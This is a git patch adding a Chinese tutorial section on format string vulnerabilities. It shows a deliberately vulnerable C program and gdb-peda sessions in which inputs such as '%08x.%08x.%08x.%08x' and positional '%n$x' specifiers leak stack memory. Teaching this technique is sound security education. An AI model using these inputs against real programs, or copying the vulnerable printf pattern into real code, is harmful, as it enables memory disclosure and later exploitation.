From 89b8a2ee17f96e4fe9666b1ef3d2b6df3675420d Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 9 Sep 2017 00:43:29 +0800 Subject: [PATCH] update fmt --- doc/3.3.1_format_string.md | 158 ++++++++++++++++++++++++++++++++++++- 1 file changed, 157 insertions(+), 1 deletion(-) diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 7f5d009..42e921a 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -290,8 +290,164 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") #### 查看栈内容 -使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。 +使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。 +```c +#include +void main() { + char format[32]; + int arg1 = 1, arg2 = 0x88888888, arg3 = -1; + scanf("%s", format); + printf(format, arg1, arg2, arg3); + printf("\n"); +} +``` +我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。 +```text +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x") +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd608 --> 0x0 +ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x") +EIP: 0x56555612 (: call 0x56555430 ) +EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x5655560b : push DWORD PTR [ebp-0xc] + 0x5655560e : lea eax,[ebp-0x34] + 0x56555611 : push eax +=> 0x56555612 : call 0x56555430 + 0x56555617 : add esp,0x10 + 0x5655561a : sub esp,0xc + 0x5655561d : push 0xa + 0x5655561f : call 0x56555450 +Guessed arguments: +arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +[------------------------------------stack-------------------------------------] +0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x") +0004| 0xffffd5c4 --> 0x1 +0008| 0xffffd5c8 --> 0x88888888 +0012| 0xffffd5cc --> 0xffffffff +0016| 0xffffd5d0 --> 0x8000 +0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x") +0024| 0xffffd5d8 (".%08x.%08x.%08x") +0028| 0xffffd5dc ("x.%08x.%08x") +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x56555612 in main () +gdb-peda$ c +Continuing. +00000001.88888888.ffffffff.00008000 +[Inferior 1 (process 31270) exited with code 012] +``` +格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。 + +当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。 +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5d4 ("%p.%p.%p.%p") +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd608 --> 0x0 +ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p") +EIP: 0x56555612 (: call 0x56555430 ) +EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x5655560b : push DWORD PTR [ebp-0xc] + 0x5655560e : lea eax,[ebp-0x34] + 0x56555611 : push eax +=> 0x56555612 : call 0x56555430 + 0x56555617 : add esp,0x10 + 0x5655561a : sub esp,0xc + 0x5655561d : push 0xa + 0x5655561f : call 0x56555450 +Guessed arguments: +arg[0]: 0xffffd5d4 ("%p.%p.%p.%p") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +[------------------------------------stack-------------------------------------] +0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p") +0004| 0xffffd5c4 --> 0x1 +0008| 0xffffd5c8 --> 0x88888888 +0012| 0xffffd5cc --> 0xffffffff +0016| 0xffffd5d0 --> 0x8000 +0020| 0xffffd5d4 ("%p.%p.%p.%p") +0024| 0xffffd5d8 ("p.%p.%p") +0028| 0xffffd5dc --> 0x70252e ('.%p') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x56555612 in main () +gdb-peda$ c +Continuing. +0x1.0x88888888.0xffffffff.0x8000 +[Inferior 1 (process 31309) exited with code 012] +``` + +上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串: +``` +%n$x +``` +这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。 +``` +db-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd608 --> 0x0 +ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +EIP: 0x56555612 (: call 0x56555430 ) +EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x5655560b : push DWORD PTR [ebp-0xc] + 0x5655560e : lea eax,[ebp-0x34] + 0x56555611 : push eax +=> 0x56555612 : call 0x56555430 + 0x56555617 : add esp,0x10 + 0x5655561a : sub esp,0xc + 0x5655561d : push 0xa + 0x5655561f : call 0x56555450 +Guessed arguments: +arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +[------------------------------------stack-------------------------------------] +0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +0004| 0xffffd5c4 --> 0x1 +0008| 0xffffd5c8 --> 0x88888888 +0012| 0xffffd5cc --> 0xffffffff +0016| 0xffffd5d0 --> 0x8000 +0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p") +0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p") +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x56555612 in main () +gdb-peda$ x/10w $esp +0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff +0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830 +0xffffd5e0: 0x70243225 0x2432252e +gdb-peda$ c +Continuing. +ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325 +``` +这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。 #### 查看任意地址的内存